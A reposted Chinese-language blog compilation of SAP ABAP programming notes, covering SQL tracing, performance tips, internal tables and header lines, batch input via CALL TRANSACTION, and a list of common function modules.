文章轉自 http://blog.csdn.net/winterzhao00/article/details/5634126
1、ST05是用于在開發ABAP程式時,對應事務碼取得的字段是“資料結構”而不是“透明表”的時候,通過ST05的“SQL跟蹤”來獲得相關“Select”的語句;一般檢視“REC”列耗時比較多的“Select”語句;
2、跟蹤時如果有涉及到“數量”這類有對資料表進行更新或插入操作的,則直接去查Update和Insert的SQL語句;
3、在跟蹤後,直接輕按兩下“對象名”列的名稱,點選“表格字段”轉到“SE11”的表字段表;
4、ABAP程式開頭的Tables:“資料表名”,隻有在螢幕中有用到的表,才需要聲明;在程式中用到的表則不需要進行在Tables内聲名;
5、抓SAP“文本”字段的資料,要先自定義變量,然後通過SE37的函數“FUNCTION ’ZREAD_TEXT’”取回文本資料;
6、建立的ABAP程式,在測試運作的時候要先進行“激活”,才能測試運作;
7、SE93:把ABAP寫好的程式指定一個事務碼執行;
8、abap引号内的字元’’必須要是大寫;
9、ABAP select 裡面的語句,不能像mssql有那麼豐富的函數使用,需要導到内表後再對資料進行操作;
10、’EQ’是單個資料值,’BT’是between區間的意思。
11、在寫select inner join 裡面,要注意是否需要加上銷售組織的條件;on 條件1 and 銷售組織條件。
12、SELECTION-SCREEN,裡面有兩個子項,PARAMETERS和select-options。
PARAMETERS 一般是用于必輸項的螢幕參數設定,如果這個參數不是必輸項的,就要用select-options。在select ...where條件裡,用PARAMETERS的條件文法是“資料字段 = 螢幕字段”;而select-options的條件文法是“資料字段 in 螢幕字段”。
13、在where判斷一個日期型資料是空,不是DEAKT = ’’,也不是DEAKT is initial,而應該寫成DEAKT = ’00000000’ (8個0)。
14、一對多的inner join,如果取出的資料有重複,前面加上distinct,用法和MSSQL相同。
15、sy-subrc,指上一個語句執行是否成功;執行成功傳回0,執行不成功傳回非0。用if判斷。
16、如果一個語句中,該名稱同時可能代表内表或者同名表工作區,則需要在内表名稱之後加“[]”指明目前操作的是内表對象。不提倡使用帶有表頭行的内表,而是應該總是聲明結構相同的其他資料對象作為顯示工作區進行内表行操作。
如何調整ABAP程式的性能(copy)
1、使用where語句
不推薦
Select * from zflight.
Check : zflight-airln = ‘LF’ and zflight-fligh = ‘BW222’.
Endselect.
推薦
Select * from zflight where airln = ‘LF’ and fligh = ‘222’.
Endselect.
2、使用聚合函數
不推薦
Maxnu = 0.
Select * from zflight where airln = ‘LF’ and cntry = ‘IN’.
Check zflight-fligh > maxnu.
Maxnu = zflight-fligh.
Endselect.
推薦
Select max( fligh ) from zflight into maxnu where airln = ‘LF’ and cntry = ‘IN’.
3、使用視圖代替基本表查詢
不推薦
Select * from zcntry where cntry like ‘IN%’. [Page]
Select single * from zflight where cntry = zcntry-cntry and airln = ‘LF’.
Endselect.
推薦
Select * from zcnfl where cntry like ‘IN%’ and airln = ‘LF’.
Endselect.
4、使用INTO table 代替select endselect
不推薦
Refresh: int_fligh.
Select * from zflight into int_fligh.
Append int_fligh. Clear int_fligh.
Endselect.
推薦
Refresh: int_fligh.
Select * from zflight into table int_fligh.
5、使用批量修改内表代替逐行修改
不推薦
Loop at int_fligh.
If int_fligh-flag is initial.
Int_fligh-flag = ‘X’.
Endif.
Modify int_fligh.
Endloop.
推薦
Int_fligh-flag = ‘X’.
Modify int_fligh transporting flag where flag is initial.
6、使用二分法查詢,提高查詢内表資料速度
不推薦
Read table int_fligh with key airln = ‘LF’.
推薦
Read table int_fligh with key airln = ‘LF’ binary search.
7、兩個内表添加使用批量增加代替逐行
不推薦
Loop at int_fligh1.
Append int_fligh1 to int_fligh2.
Endloop.
推薦
Append lines of int_fligh1 to int_fligh2.
8、使用table buffering
Use of buffered tables is recommended to improve the performance considerably. The buffer is bypassed while using the following statementsSelect distinct
Select … for update
Order by, group by, having clause
Joins
Use the Bypass buffer addition to the select clause in order to explicitly bypass the buffer while selecting the data.
9、 使用FOR ALL Entries
不推薦
Loop at int_cntry. Select single * from zfligh into int_fligh where cntry = int_cntry-cntry. Append int_fligh. Endloop.
推薦
Select * from zfligh appending table int_fligh
For all entries in int_cntry
Where cntry = int_cntry-cntry.
10、正确地使用where語句,使查詢能使用索引When a base table has multiple indices, the where clause should be in the order of the index, either a primary or a secondary index
To choose an index, the optimizer checks the field names specified in the where clause and then uses an index that has the same order of the fields. One more tip is that if a table begins with MANDT, while an index does not, there is a high possibility that the optimizer might not use that index.
11、正确地使用MOVE語句
Instead of using the move-corresponding clause it is advisable to use the move statement instead. Attempt should be made to move entire internal table headers in a single shot, rather than moving the fields one by one.
12、正确地使用inner joinLet us take an example of 2 tables, zairln and zflight. The table zairln has the field airln, which is the airline code and the field lnnam, which is the name of the airline. The table zflight has the field airln, the airline code and other fields which hold the details of the flights that an airline operates. [Page]
Since these 2 tables a re logically joined by the airln field, it is advisable to use the inner join.
Select a~airln a~lnnam b~fligh b~cntry into table int_airdet
From zairln as a inner join zflight as b on a~airln = b~airln.
In order to restrict the data as per the selection criteria, a where clause can be added to the above inner join.
13、使用sort by 代替order by
14、避免使用SELECT DISTINCT語句
使用的 ABAP SORT + DELETE ADJACENT DUPLICATES 代替.
定義内表與工作區最友善的方法
*定義 名為 ITAB 的内表, 内表結構 參照表 TABLE 。
DATA: ITAB TYPE TABLE OF TABLE.
*定義 名為 WA 的工作區, 其 行結構與 内表 ITAB 相同 。
DATA: WA LIKE LINE OF ITAB.
----------------------------------------------------------------
1.使用occurs 0,定義的不再是對象,而是internal table
2.使用with header line字尾,定義為internal table的同時也定義了一個同名對象,是以可以用以下語句:
LOOP AT STH.
WRITE: / STH.
ENDLOOP.
3.TYPE後面接結構,LIKE後面接對象
4.OBLIGATORY為必輸字段
5.DATA SEPARATER . = DATA SEPARATER TYPE C.
6.關于内表的結構描述,它的目前記錄資料是放在header line中的,Occurs 是配置設定資料緩沖區,大小不重要,系統會自動配置設定。但定義内表不用occurs就需要用with header line,occurs語句記得是為了向下相容。
7.occurs 指明的數量是有一點學問的.
1.當你知道可能每次用Select命中或交換的紀錄數xxx時,可指明 occurs xxx.
2.如用occurs 0 聲明時, buffers 由系統自動配置設定.
8.SELECT 在into時記得一般都要加上table,不然是into一個工作區,即wa,而工作區要寫入内表,則需要再append,是以直接定放内表即可,内表和工作區的差別就在于工作區就相當于表頭,是有一行,data定義begin of itab時不加occurs就是工作區,加了就是内表,occurs *,後面表示系統初始配置設定給此内表多少行,每次滿時再多配置設定多少行,我們平常為了節約記憶體,一般直接用0,with header line是為了定義含表頭的内表,平常occurs就直接帶表頭,而with header line一般是在itab1 like itab occurs 0 with header line時用,這是參照一個内表定義另一内表,如果要帶表頭,一定要加with header line。
你這樣問不是辦法,最好不懂時直接接F1,查到SAP的幫助即可. check是檢查後面的邏緝是否滿足,不滿足則在上例是跳出form,不的執行下面的語句。
說實在,初略的看了一下上面的程式,寫得太爛了,竟然将usr01或usr03透明表中的字段按條件取到一個表工作區,竟然不加single,象這種不加single的select按理說應該是調不過的,必須在後面再對應一個endselect,而這種select加endselect用每次去讀一次透明表,通路資料庫的次數太多了,換個好一點程式自己研究吧。
SAP ABAP PA certification 教育訓練筆記
P (4) 長度4個位元組
Xstring (10) 長度為10個位元組,可以容納20個數字
大結構體與小結構體的相容
Move 大 to 小 大的覆寫小的 大結構體的剩餘部分保持不變
Move 小 to 大 比對的部分 被小的覆寫, 其餘的字段被初始化
P 類型 與 F類型的優缺點
P:計算精确,适合商業結算,但範圍短
F:儲存範圍大,計算不精确
P 與 F 類型的運算方式
F IEEE 用二進制數進行運算
P 采用半位元組儲存一個數字的方式進行運算
字段 結構體 相容問題
1. 字段相容:類型和長度相同
2. 結構體:字段按順序相容,并且字段數相同
3. 内表相容:行類型相同, KEY 相容,表類型相同
如果字元串 move 到一個比字元串小的結構體 ,
[][][][] ---à [][]
[][]
一個字段 move 到一個 内表中
Internal table 内表.
1. 靜态資料對象包括: 簡單資料類型(除了string 和xstring 類型), 結構體(不包含string 和xstring 類型)
2. 動态資料對象:string , xstring , 包含string 或 xstring 的結構體, 内表
一個結構體是否可以包含STRING 或xstring, 如果可以 結構體可以拓展嗎?
定義一個 隻有一個字段的 内表 字段長度是c(18),
定義一個結構體 結構體裡 包含三個字段, 類型 随意, 第二個類型,是另一個結構體
定義一個内表 内表的行類型 是第一個結構體.
再用第二個結構體定義一個内表 ,利用這個内表 作為行類型,做一個内表
内表的三個基本屬性
1. line type 行類型
2. key definition 鍵類型
3. table kind 表類型
1) 在standard table 中 使用 table key的查找方式為 table scan 全表掃描
2) 在 sorted table 中使用table key 在遵循; left-aligned 從左至右比對, no gaps 沒有間隔,使用”=” 填充字段時, 使用 二分查找法 ,其它情況下 使用 table scan查找
3) 對hash表通路, 隻能通過key通路單條記錄, 通路的速度不依賴于表中的資料量,而在其餘兩種表中,查詢的時間與表中資料量成正比
其它情況是否代表,隻是順序不符合left-aligned. 哈希表可以通過部分的key 進行通路嗎?
定義内表
1. 定義一個局部内表類型,通過該類型定義内表變量
2. 直接定義字段 直接定義内表變量(隐藏了一個内表類型)
3. 通過全局内表類型定義内表變量
标準的定義内表語句
Types or DATA name
TYPE table_kind
OF line_type
WITH key_def
[INITIAL SIZE n.]
Table kind and key. 表類型 和 表鍵
注意:在定義standard類型的内表時,如果使用 WITH DEFAULT KEY. 系統會自動将内表中的字元類型字段(c,n,d,t,x,string,xstring)組合成table key.
内表的key
1. standard标準表: key 不唯一.
2. sorted排序表: 可以指定KEY是否唯一
3. Hash 哈希表: KEY必須是唯一
在内表中使用不是結構體類型的行類型
當内表的行類型隻有一列的時候,需要使用pseudo-compnent 僞列,
用途:設定一個按鈕工具欄,用隻含有一列的内表.
對内表的操作
1. move對内表的拷貝
2. clear 将資料清空
3. free 釋放記憶體
4. compare表之間的操作,比較
5. sort 排序表
6. array fetch
遞歸比較
1. 先對内表之間的行數進行比較
2. 如果有必有的話,還需要對行的元件進行比較
内表之間的比較
用行數比較, 有必要的話 可以 用内容比較
定義兩個内表 兩個 内表不相容 一個有3個字段 一個有5個
對兩個内表進行比較.
定義兩個内表, 結構一樣 , 變量不一樣
全做成數字型字段
第一個 添加 小數字
第二個内表 添加大數字
排序可以指定升序降序.
對内表具體操作
1. Insert 插入
2. Read 讀取
3. Change 修改
4. Delete 删除
5. Insert summated collect. 插入累計
對内表中的資料行進行限制條件操作
對資料的通路
一、單條資料通路
1) 通過 table key通路
2) 通過 line index 通路(對于line index 類型内表)
3) 通過 condition條件通路
二、多條資料通路
1) 通過condition條件通路
2) 通過 index interval 通過行區間通路
指定通路資料的傳輸方式
1. 使用 結構體 work area 進行 copy 對内表資料進行操作
2. 定義 field symblo 指針 指向通路資料,(可以直接通路資料)
3. 通過将内表插入内表的操作
重要: 不能通過line index 對hash 表 進行通路, 在排序表中插入資料.除非插入的位置正好是排序表中規定的位置,否則會出現 運作期異常(強烈不推薦使用insert往 sorted b表中插入資料)
Field symbol 指針
作用: 直接對内表進行操作,而不用再重新定義結構體對目标内表資料進行拷貝, 增大了效率.
定義指針文法:
Data: var_a TYPE I VALUE 4.
FIELD-SYMBOLS: <fs> TYPE i.
ASSIGN var_a TO <fs>.
<fs> = 77.
重要: 定義的指針名,必須加”<>”
Insert 插入操作
一、 單條資料的插入操作
1) 标準表: 可以使用 index (推薦) 和 table key 方式插入
2) 排序表: 可以通過 table key方式插入 , 但也可以用index插入(強烈不推薦, 很有可能出現運作錯誤)
3) Hash表: 隻能夠用table key 方式插入
二、 多條記錄的插入
1) 源内表為 index table : 則可以指定源内表的資料範圍,并插入到目标内表中
2) 目标内表為index table: 則可以可以指定目标内表被插入資料的具體index 位置.
具體的語句插入文法:
Insert wa INTO TABLE itab. 單條插入不指定位置
Insert wa INTO itab INDEX n. 單條插入指定插入位置
INSERT LINES OF itab1
[from n1 to n2]
INTO TABLE itab2.
INTO itab2 [ INDEX n]
讀取 内表的一條 将資料 讀到結構體中
如果系統獨到行 sy-subrc = 0 . 然後讀取到結構體中,
Sy-tfill 存放總行數
Sy-tleng 行的長度
Transporting
指定特定列 傳輸字段 , 傳送部分字段
TRANSPORTING NO Fields 不傳值, 作用 ,看内表中 有沒有 這條資料
Camparing
有一個結構體 和内表
C1 C2 C3
Lh 0019 17
Lh 0018 18
通過comparing 後的值, 可以判斷讀取的值是否符合要求.
現在結構體中需要比較的字段指派,
先判斷 相應字段是否相等
回去做個練習
比較成功 sy-subrc = 0
Zmycompare_2009
用一個結構作為 查詢條件,
到内表查詢符合條件的資料
With key 可以用 table key 或 普通字段作為條件
使用field symbol
通過一個内表 定義一個 結構體 作為 指針
Read table itab [index n / key ] assigning <fs>.
Write: / <fs>-field_1.
直接修改 <fs> 的值 會怎麼樣?
Change 修改内表
Transporting 的 傳輸方向
通過 field symbol
直接修改 内表
重要: 不能直接指針對sorted 和 hash表進行操作
Delete
Delete table itab key
Key: from wa ()
With table key k1 = f1….
不能用sort 對排序表進行排序
對 sorted 表進行 insert modify , 使用不當 可能會出錯
HASH表不能通過 index 進行操作
Header line
With head line 關鍵字定義 廢棄用法
Occur + 整數, 10 ,
Occur 0 , 預設大小,
Occur 0 with head line 廢棄用法了
重要: 在面向環境中 不能用帶有 head line 的内表
Data: so_carr LIKE RANGE OF carrid.
Loop 内表
Where 條件 從起始點二分查找
标準表 可以部分指定順序
From 1 to 5
對于一個标準表來說, 加上二分查找 是不是 先排序
先把标準表 排序, 然後再二分
必須先手工排序,再進行二分查找
0:23 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP 4月5日
sap abap programming---關于ABAP内表(about abap internal table)
1. 内表的類型及定義:
(1).ANY TABLE:即任意表類型,此種定義方式隻能在傳遞參數的時候定義。
例如:FORM XXX USING/CHANGING TYPE ANY TABLE .
(2).ANY TABLE包括了兩種類型:INDEX TABLE和HASHED TABLE 。
《1》.INDEX TABLE:包括了STANDARD TABLE和SORTED TABLE
A. STANDARD TABLE:其實就是一個線性表,通過key通路内表是線性查找的,也就是說,随着表中記錄的增加,對表的
操作的時間開銷也相應的增加。
定義方法:TYPES/DATA: LIKE/TYPE STANDARD TABLE OF .
B. SORTED TABLE:顧名思義,表中的記錄是按照一定的順序排列的。通路表的主要方式是表中定義的key,如果key不唯
一,則選擇index最小的那個。也可以通過index來通路排序表,如果你想通過index插入一條記錄,系統會自動檢查你插入的
位置是否正确。是以,如果插入的時間比插入到标準表的時間會長。是以,盡量選擇key來對排序表進行操作。
定義方法:TYPES/DATA: LIKE/TYPE SORTED TABLE OF .
《2》.HASHED TABLE:對哈希表隻能用你定義的key進行操作,而不能使用index進行操作。是以,定義哈希表必須定義unique
key 。注意:所有關于使用index操作表的語句都不能用于操作哈希表。例如:sort,loop等。
定義方法:TYPES/DATA: LIKE/TYPE HASHED TABLE OF .
2. 内表的操作:
(1).建立:
A. 定義一個結構,然後type/like這個結構
例如:
TYPES: BEGIN OF ,
...
i> ...,
...
END OF .
DATA TYPE STANDARD TABLE OF
WITH NON-UNIQUE DEFAULT KEY
INITIAL SIZE
WITH HEADER LINE.
B. type/like系統表或者資料庫表或者結構
DATA TYPE STANDARD TABLE OF <系統表名>
INITIAL SIZE
WITH HEADER LINE.
(2).添加資料:
A.APPEND:直接向表中添加資料
1. APPEND [wa TO|INITIAL LINE TO] itab[ASSIGNING |REFERENCE INTO dref].
2. APPEND LINES OF itab1 [FROM idx1] [TO idx2] TO itab2.
3. APPEND [wa TO] itab SORTED BY f [ASSIGNING
B.向表中插入資料:
1. INSERT [wa INTO|INITIAL LINE INTO] itab [INDEX idx] [ASSIGNING |REFERENCE INTO dref].
2. INSERT [wa INTO|INITIAL LINE INTO] TABLE itab [ASSIGNING |REFERENCE INTO dref].
3. INSERT LINES OF itab1 [FROM idx1] [TO idx2] INTO itab2 [INDEX idx3].
4. INSERT LINES OF itab1 [FROM idx1] [TO idx2] INTO TABLE itab2.
C.相同字段求和向表裡添加:
Basic form
COLLECT [wa INTO] itab.
Extras:
1. ... ASSIGNING
2. ... REFERENCE INTO dref
3. ... SORTED BY f
(3).删除資料:
1. DELETE itab.
2. DELETE TABLE itab WITH TABLE KEY k1 = v1 ... kn = vn.
3. DELETE TABLE itab [FROM wa].
4. DELETE itab INDEX idx.
5. DELETE itab FROM idx1 TO idx2.
6. DELETE itab WHERE logexp.
7. DELETE ADJACENT DUPLICATES FROM itab.
(4).修改資料:
1. MODIFY itab [FROM wa] [INDEX idx] [ASSIGNING |REFERENCE INTO dref] [TRANSPORTING f1 ... fn].
2. MODIFY TABLE itab [FROM wa] [ASSIGNING |REFERENCE INTO dref] [TRANSPORTING f1 ... fn].
3. MODIFY itab [FROM wa] TRANSPORTING f1 ... fn WHERE cond.
23:52 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP
sap --- ABAP 内表(internal table) 标題行(header line) 工作區(work area) 簡介 OCCURS 0
剛開始學ABAP的時候,學到iternal table時,感覺一陣混亂.
搞不清楚什麼是work area,什麼是header line,以及occurs是幹什麼用的.
今天終于差不多搞明白了(我還是太弱啊...BS自己一下)
是以還是記錄下來..省得自己以後再忘記...
先是用TYPES關鍵字定義一個行(row)的類型.如下:
TYPES: BEGIN OF line,
field1 TYPE i,
field2 TYPE i,
END OF line.
這裡的line,就相當于一個自定義的類型,表示一行(row)的字段(field).
這裡一行有兩個字段field1和field2.
然後是聲明一個work area:
DATA wa TYPE line.
我用C++(還是對cpp最有好感^^)的概念了解就是,
line是一個class,而wa是一個object.
接着是聲明一個每一行的類型是line的internal table:
DATA itab TYPE line OCCURS 0.
我在暫時把OCCURS作為了差別工作區和内表的标志.
OCCURS應該有更深層次的意義,但我目前隻能領悟至此...
當我們用以上這個方法來聲明一個iternal table時,可以選擇是否有無header line.
上面這句就是沒有header line的.改成如下就有了:
DATA itab TYPE line OCCURS 0 WITH HEADER LINE.
有無header line的差別就是,header line可以當作一個work area來使用(參照我之前的一個日志).
有一下兩種方式操作itab:
1).
wa-field1 = 1.
wa-field2 = 2.
APPEND wa TO itab.
2).
itab-field1 = 1.
itab-field2 = 2.
APPEND itab.
這裡wa就是上面那個已經定義的work area.
有header line的時候,這兩種都可以.
無header line的時候,隻能用第1種.
第2種裡,itab的意義是一個header line,而不是内表.
因為"DATA itab TYPE line OCCURS 0 WITH HEADER LINE."這樣的聲明,
已經隐式聲明了一個與内表同名的header line.
是以OCCURS用來聲明内表可能造成二義性(ambiguous).
于是,OCCURS被認為是old的東西,采用一下方式聲明一個内表比較好:
DATA itab TYPE STANDARD TABLE OF line.
還有一種聲明内表的方法:
DATA: BEGIN OF itab OCCURS 0,
field1 TYPE i,
field2 TYPE i,
END OF itab.
這樣的itab就自動有了一個同名的header line.
好像不會有 WITHOUT HEADER LINE 或者 NOT WITH HEADER LINE 這樣的用法...
如果沒有OCCURS 0,比如這樣:
DATA: BEGIN OF itab,
field1 TYPE i,
field2 TYPE i,
END OF itab.
那麼這個itab就不是内表咯,隻是一個structure,可以作為itab的work area.
寫到這裡發現,歸根到底就是TYPES和DATA這兩個關鍵字的差別嘛.
還有有無OCCURS的差別.
這樣一想,簡單明了~~
OCCURS 是在3.0以前申明内表的關鍵字。意思是内表初始的時候有多少行。現在不提倡使用。看到了認識就行。
=======================================================
ABAP Work Area & Header Line -
1. Difference between Work Area and Header Line
工作區與标題行的不同之處
原文位址:
http://www.sap-img.com/abap/difference-between-work-area-and-header-line.htm
我翻譯下,嘿嘿
在對内表進行一些操作的時候,比如增加或者取回一條記錄.我們必須暫時儲存這條記錄.
這條記錄就儲存在内表的工作區裡(work area).内表的工作區必須和内表有相同的結構.
内表由主體(body)和一個可選的标題行(head line)組成.
标題行是一個隐式的(implicit)工作區.在内表聲明的時候,可以選擇有無标題行.
e.g.
data: begin of itab occurs 10,
ab type c,
cd type i,
end of itab.
這樣的内表itab,是有标題行的.
data: wa_itab like itab.
這樣的wa_itab是顯式(explicit)聲明的一個itab的工作區.
data: itab1 like itab occurs 10.
這樣的内表itab1,是沒有标題行的.
标題行是一個和内表主體有着一樣結構的字段的串,标題行隻有一行.
是以,标題行相當于一個緩沖區(buffer),用于存放被操作的紀錄,是内表的預設的工作區.
2. Using Header Lines as Work Areas
把标題行當工作區來使用
原文位址:
http://help.sap.com/saphelp_nw04/helpdata/en/fc/eb36a1358411d1829f0000e829fbfe/content.htm
我再翻譯下...
當你在建立一個内表的時候,你同時也聲明了一個具有相同名稱的标題行(這個好像很奇特的樣子麼...).可以把這個标題行當作工作區來對内表進行操作.
如果一個内表有标題行,則對其進行操作的ABAP語句會簡短一些,因為這些語句會自動認為标題行是一個隐式的工作區.語句的不同如下表:
Operations without header line
Operations with header line
Operations for all Table Types
INSERT INTO TABLE .
INSERT TABLE ITAB.
COLLECT INTO .
COLLECT .
READ TABLE ... INTO .
READ TABLE ...
MODIFY TABLE FROM ...
MODIFY TABLE ...
MODIFY FROM ...WHERE ...
MODIFY ... WHERE ...
DELETE TABLE FROM .
DELETE TABLE .
LOOP AT ITAB INTO ...
LOOP AT ITAB ...
Operations for Index Tables
APPEND TO .
APPEND .
INSERT INTO ...
INSERT ...
MODIFY FROM ...
MODIFY ...
但是,用隐式的工作區,代碼難以被了解,是以還是用一個不同名稱的工作區比較好.
=======================================================
溝通再溝通
msn:[email protected]
22:47 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP
sap abap---通過例子學習ABAP--初始化内表 清空内表
初始化内表的作用是清空内表所有的資料行,将内表恢複到填充或指派之前的狀态。初始化内表過程中需要注意之處仍然是初始化無 表頭行内表和有表頭行内表的差別,以及初始化内表和表頭行的差別。
(1)CLEAR ITAB. 同時清空表頭和行内表的值
(2)CLEAR ITAB. 隻清空内表本身的值,保留表頭行的值。
(3)REFRESH I TAB 隻清空内表本身的值,保留表頭行的值。
(4)FREE ITAB. 隻清空内表本身的值,保留表頭行的值。
DATA: BEGIN OF line,
col1(1) TYPE c,
col2(1) TYPE c,
END OF line.
DATA itab LIKE TABLE OF line WITH HEADER LINE.
line-col1 = 'A'. line-col2 = 'B'.
APPEND line TO itab.
loop at itab.
write : itab-col1.
endloop.
clear itab. "在這裡可以嘗試CLEAR ITAB[],FREE ITAB,REFRESH ITAB,看看效果是不是如上所說這樣。
IF itab IS INITIAL.
WRITE 'ITAB is empty'.
ENDIF.
很多程式BUG,就是這一類 不起眼的東西引起的~
*********************************************************************
*-------- Clear & Refresh Internal Table. -------------------------
*********************************************************************
1. with headerline.
CLEAR itab. : Clear the headerline of the Internal Table only.
CLEAR itab[]. : Clear the contents of the Internal Table except the headerline.
REFRESH itab. : Same as CLEAR itab[].
REFRESH itab[]. : Same as CLEAR itab[].
2. without headerline. ( all four commands have same functionality )
CLEAR itab. : Clear all contents of the Internal Table.
CLEAR itab[]. : Same as CLEAR itab.
REFRESH itab. : Same as CLEAR itab.
REFRESH itab[]. : Same as CLEAR itab.
如何一次性的給内表的一列指派,不用LOOP循環來做,比如把第一列都給設定成空.
CLEAR 對應工作區清空
MODIFY 内表 FROM 内表對應工作區
TRANSPORTING 修改字段
WHERE 修改字段 <> SPACE.
MODIFY itab [FROM wa] TRANSPORTING f1 ... fn WHERE cond
這句話的意思是凡是内表itab中滿足條件cond的記錄都被工作區wa的資料修改,修改的字段是f1...fn
22:28 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP 4月4日
sap abap programming----CALL TRANSACTION USING bdc_tab for Data Transfer
http://help.sap.com/saphelp_sm32/helpdata/en/fa/09715a543b11d1898e0000e8322d00/frameset.htm
DATA: it_bdcdata TYPE TABLE OF bdcdata,
wa_bdcdata TYPE bdcdata.
wa_bdcdata-program = 'SAPLBTCH'.
wa_bdcdata-dynpro = '2170'.
wa_bdcdata-dynbegin = 'X'.
APPEND wa_bdcdata TO it_bdcdata.
CLEAR wa_bdcdata.
wa_bdcdata-fnam = 'BTCH2170-JOBNAME'.
wa_bdcdata-fval = '*'.
APPEND wa_bdcdata TO it_bdcdata.
wa_bdcdata-fnam = 'BTCH2170-USERNAME'.
wa_bdcdata-fval = sy-uname.
APPEND wa_bdcdata TO it_bdcdata.
CALL TRANSACTION 'SM37' USING it_bdcdata.
--------------------------------------------------------
Submit to executable program via selection options
--------------------------------------------------------
SUBMIT zrmm0001 VIA SELECTION-SCREEN
AND RETURN
WITH p_matnr = itab-matnr
WITH p_werks = itab-werks
WITH p_lgort = itab-lgort
WITH s_charg = itab-charg
WITH p_num = p_label
WITH p_dest = p_print.
----------------------------------------------------------
Submit to program which not has selection screen
----------------------------------------------------------
SET PARAMETER ID 'RBN' FIELD S_ARSEG-BELNR.
SET PARAMETER ID 'GJR' FIELD S_ARSEG-GJAHR.
CALL TRANSACTION 'MIR4' AND SKIP FIRST SCREEN.
18:11 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP
sap abap programming----execute--Call Underlying Database Store Procedure in ABAP
摘自sapguys.cn群中Robbin和徐的交流
1. 配置個外部DB, T-code為: DB59, DB50N, 測試連接配接
2. 執行Native SQL
eg:
EXEC SQL.
EXECUTE PROCEDURE EAI_ETL_CONTROL(IN :XX1,IN :XX2,IN :wa_datet_update,IN :XX3,OUT :YY1)
ENDEXEC.
18:09 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP
sap ABAP 常用函數(sap abap function)
RS_VARIANT_VALUES_TECH_DATA
可以傳回一個内表, 裡面存的是PARAMETER SELECT-OPTION的名字 以及對應的值. 可用于background job中對vaiant的修改.
函數名 描述
SD_VBAP_READ_WITH_VBELN 根據銷售訂單讀取表vbap中的資訊
EDIT_LINES 把READ_TEXT傳回的LINES中的行按照TDFORMAT=“*”重新組織
VIEW_MAINTENANCE_CALL 維護表視圖
函數名 描述
DY_GET_FOCUS 獲得螢幕焦點
DY_GET_SET_FIELD_VALUE 獲得或者設定螢幕字段的值
函數名 描述
F4IF_INT_TABLE_VALUE_REQUEST 顯示檢索help
READ_TEXT 讀取長文本
CONVERSION_EXIT_CUNIT_OUTPUT 機關轉換
SJIS_DBC_TO_SBC 全角轉半角
SJIS_SBC_TO_DBC 半角轉換為全角
CO_R0_CHECK_DECIMAL_POINT 根據機關檢查資料的小數位
POSTAL_CODE_CHECK 檢查郵政編碼
函數名 描述
CONVERSION_EXIT_ALPHA_INPUT 全數字則在前面補0
CONVERSION_EXIT_ALPHA_INPUT 和上面相反
GET_JOB_RUNTIME_INFO 獲得job相關資訊
TERMINAL_ID_GET 獲得端末id
DATE_CONVERT_TO_FACTORYDATE 把輸入日期轉為工廠月曆日期
MESSAGE_TEXT_BUILD 把消息轉為文本
函數名 描述
POPUP_TO_CONFIRM 彈出确認視窗
函數名 描述
CONVERSION_EXIT_MATN1_INPUT 物料号碼轉換函數
CONVERSION_EXIT_MATN1_OUTPUT 同上相反
CONVERT_TO_LOCAL_CURRENCY 按照指定日期匯率轉換金額為指定貨币類型
SSF_FUNCTION_MODULE_NAME 根據form名取得對應的函數名(SmartForm)
函數名 描述
DATE_CHECK_PLAUSIBILITY 日期CHECK
cl_gui_frontend_services=>gui_upload 上傳到伺服器
cl_gui_frontend_services=>gui_download 下載下傳到服本地
SSF_FUNCTION_MODULE_NAME SMARTFORMS輸出報表時,生成一個函數名稱,然後CALL這個名稱
函數名 描述
POPUP_TO_DECIDE_LIST 彈出供選擇視窗
ABAP_DOCU_DOWNLOAD – 以HTML格式下載下傳ABAP文檔。
ARFC_GET_TID – 以十六進制形式傳回終端的IP位址。
BAL_* -容納了SAP的應用程式日志所有的函數子產品。
BP_EVENT_RAISE –在 ABAP/4 程式中觸發一個事件。
BP_JOBLOG_READ –獲得job log的執行結果。
CLOI_PUT_SIGN_IN_FRONT – 将負号前置, SAP預設将負号放在數字後面。
CLPB_EXPORT –從内表導入到剪貼闆。
CLPB_IMPORT – 從剪貼闆導入内表。
COMMIT_TEXT -To load long text into SAP 。
CONVERSION_EXIT_ALPHA_INPUT - 數字串前補0
example:
input = 123
output = 0000000000000。。。000000000000123
CONVERSION_EXIT_ALPHA_OUTPUT – 消除數字串前的0
example:
input = 00000000000123
output = 123
CONVERT_OTF – 将SAP文檔(SAP Script)轉換成其他類型。
example:
CALL FUNCTION 'CONVERT_OTF'
EXPORTING
FORMAT = 'PDF'
IMPORTING
BIN_FILESIZE = FILE_LEN
TABLES
OTF = OTFDATA
LINES = PDFDATA
EXCEPTIONS
ERR_MAX_LINEWIDTH = 1
ERR_FORMAT = 2
ERR_CONV_NOT_POSSIBLE = 3
OTHERS = 4.
DATE_GET_WEEK – 傳回一個日期所在的周數。
DATE_CHECK_PLAUSIBILITY – 檢查一個日期是否是SAP的有效格式。
DYNP_VALUES_READ – 讀取SCREEN字段的值,也可以用來讀取報表SELECTION SCREEN。
DYNP_VALUES_UPDATE -更新螢幕字段的值。
ENQUE_SLEEP –在繼續處理之前等待一個指定的時間。
ENQUEUE_ESFUNCTION – 鎖定一個ABAP程式使它不可以被執行:
RELID = 'ZZ'
SRTF2 = 0
SRTF = (your report name)
注意不要用SY-REPID來傳遞你的報表名字,當把SY-REPID作為參數傳遞給函數子產品的時候,SY-REPID的值實際上已經發生了變化。
EPS_GET_FILE_ATTRIBUTES – 獲得檔案屬性。
EPS_GET_DIRECTORY_LISTING – 傳回一個本地或網絡目錄的檔案清單。
F4_DATE - 彈出一個視窗顯示一個月曆允許使用者選擇一個日期。
F4IF_SHLP_EXIT_EXAMPLE – F4接口子產品。
FILENAME_GET – 彈出一個檔案選擇對話框。
DATA out(60) TYPE c.
CALL FUNCTION 'FILENAME_GET'
EXPORTING
filename = 'c:/1.txt'
title = 'GET FILENAME'
IMPORTING
filename = OUT.
FTP_CONNECT – 打開并登陸FTP伺服器的連接配接。
FTP_COMMAND – 在FTP伺服器上執行一個指令。
FTP_DISCONNECT –關閉指向FTP伺服器的連接配接。
